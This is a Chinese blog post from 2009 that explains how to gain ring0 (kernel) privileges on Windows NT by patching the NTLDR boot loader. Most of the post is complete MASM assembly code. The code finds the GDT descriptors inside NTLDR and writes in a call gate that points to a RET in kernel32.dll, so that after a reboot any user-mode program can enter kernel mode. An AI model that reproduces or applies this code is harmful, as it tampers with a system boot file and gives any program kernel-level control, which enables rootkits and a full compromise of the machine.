让程序进入ring0级执行

   让程序进入ring0级执行    

 在保护模式下,ring0有至高无上的权限,他一直是很多***程序员追求的目标,在NT平台上,MS对系统表格作了保护,不能在象win9x那样,去直接修改系统表格,但是还是有不少办法能够进入ring0的,例如,在国内,最早sinister利用编写驱动程序的方法进入ring0,这也是最通用的方法了,紧跟着WebCrazy又使用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来随意进出ring0。后来由MGF提出一种更新的方法,这也就是我要介绍的方法,修改NTLDR。

为什么要修改NTLDR呢,因为windows在启动之时,需要装载GDT上的描述符,而NT的引导程序是NTLDR,那么也就是说描述符可能在NTLDR中,如果我们的假设成立,那么我们就能够在NTLDR中找到系统描述符,好,我们首先来做个实验,用UE打开NTLDR,搜索16进制数ffff 0000 009a cf00(这是GDT上的一个描述符,它的选择子为8h),结果我们搜到了,那么证明想法是对的,在向后看,发现还有不少描述符,哈哈,如果我们在搜索到的描述符区域中空的地方加入自己的调用门和自己的系统描述符,当系统重新启动的时候我们的调用门就会被操作系统装载到内存中,这样我们就有了我们需要的调用门,就可以利用这个调用门*进出ring0了。这里可能有人要问为什么不用系统选择子08h所对应的描述符,而自己生成自己的选择子和描述符,这是因为我们的调用门所指向的代码一般都在用户区,MS会做检测,如果发现运行在选择子为8h的代码在0x80000000以下,就会认为是非法进入ring0,就会产生异常。下面请看代码

 

 

;修改ntldr添加调用门,运行任意ring0代码的例子

.386

.model        flat,stdcall

option        casemap:none

 

include        d:/masm32/include/windows.inc

include        d:/masm32/include/kernel32.inc

include        d:/masm32/include/user32.inc

 

includelib d:/masm32/lib/kernel32.lib

includelib d:/masm32/lib/user32.lib

 

.data

szFileName        db        'C:/NTLDR',0

dwAttrib                dd        0

hFile                                dd        0

hMap                                dd        0

pFile                                dd        0

dwFileSize        dd        0

dwC3Code                dd        0

GDTFlag                        dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh        ;GDT中的第一个和第二个描述符

CallGate                 dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh        ;调用门和一个自己系统描述符

CallSel                        dd        0

                                                dw        103h ;调用门的选择子

.code

 

start:

        push        offset szFileName

        call        GetFileAttributes        ;得到文件属性

       

        mov        edx,eax

        inc        edx

        je        ERROR_GETFILEATTRIB        ;如果返回错误的话就直接退出

       

        mov        dwAttrib,eax                                                ;否则保存文件属性

       

        push        80h

        push        offset szFileName

        call        SetFileAttributes        ;设置文件属性为一般文件

       

        call        FindC3Code        ;在kernel32.dll中搜索ret指令

       

        push 0

        push 80h

        push 3

        push 0

        push 3

        push 0c0000000h                       

        push        offset szFileName

        call        CreateFileA        ;打开文件

       

        mov        edx,eax

        inc        edx

        je        ERROR_OPENFILE

       

        mov        hFile,eax

       

        push        0

        push        hFile

        call        GetFileSize

       

        mov        dwFileSize,eax        ;得到文件大小

       

        push 0

        push 0

        push 0

        push 4

        push 0

        push        hFile

        call        CreateFileMapping

       

        or        eax,eax

        je        ERROR_FILEMAP

        mov        hMap,eax

       

        push 0

        push 0

        push 0

        push 6

        push eax

        call        MapViewOfFile        ;文件映射到内存

       

        or        eax,eax

        je        ERROR_MAP

       

        mov        pFile,eax

       

        mov        edi,eax

        mov        esi,offset GDTFlag

        mov        ecx,dwFileSize

       

@@:        ;在NTLDR中搜索描述符

        inc edi

        push esi

        push edi

        push ecx

        mov ecx,10h

        repz cmpsb

        pop ecx

        pop edi

        pop esi

loopnz @B

 

        ;发现标志后,准备在GDT中搜索一个空间来存放调用门

       

        or        ecx,ecx

        je        ERROR_MAP        

       

        xor eax,eax

        mov ecx,80h

@@:

        sub edi,8

        push edi

        push ecx

        mov ecx,8

        repz scasb        ;再次确认位置

        pop ecx

        pop edi

        loopnz @B        

       

        or        ecx,ecx

        je        ERROR_MAP

       

        add edi,100h

        lea        esi,CallGate

        mov ecx,10h

        rep movsb ;写入调用门

       

        mov edx,dwC3Code

        mov word ptr [edi-16],dx

        shr edx,16

        mov word ptr [edi-10],dx        ;使调用门指向ret的地址

 

       

ERROR_MAP:

        push        pFile

        call        UnmapViewOfFile

       

ERROR_FILEMAP:

 

        push        hMap

        call        CloseHandle

       

ERROR_OPENFILE:       

        push        hFile

        call        CloseHandle

       

        push        dwAttrib

        push        offset szFileName

        call        SetFileAttributes        ;还原文件属性

       

ERROR_GETFILEATTRIB:

        push        0

        call        ExitProcess

 

 

 

FindC3Code:

        assume        fs:nothing

        mov eax,fs:[30h]   

        mov eax,[eax+0ch]

        mov esi,[eax+1ch]

        lodsd               

        mov eax,[eax+08h]        ;eax->kernel32 base address       

       

        mov        edi,eax

        add        edi,1000h        ;从代码段开始搜索

        mov        ecx,20000h

        mov        al,0c3h;        搜索RET指令

       

        repnz        scasb

       

        dec        edi

        mov        dwC3Code,edi

        ret

       

end        start

 

 

这个程序修改NTLDR,在其中GDT的第一个描述符的偏移100h的地方写入自己的一个调用门和一个系统描述符,在重新启动以后,我们的调用门将被加载到GDT中,这样我们就可以*进出ring0了,另外这个程序的调用门指向kernel32.dll中的一条ret指令,为什么要这么做呢?因为首先来看看使用调用门后cpu都做了那些事,如果有程序使用了调用门,CPU会保存所有的寄存器,其中包括EAX,EBX,ECX,EDX,ESP,CS,DS,ES,FS,SS,EIP等,在转向调用门时,我们先来看看堆栈的结构

EIP

Ring3的esp

….

看到了吧,如果我们在这里执行一条ret指令,就能跳向调用调用门的下一条指令,这样就转回了我们自己的程序中了。

posted on 2009-06-08 16:27 Yincheng  阅读(194)  评论(0) 编辑 收藏

上一篇:汇编小总结


下一篇:【老刘谈算法】多次多项式的快速求值——字符串转双字函数分析(2)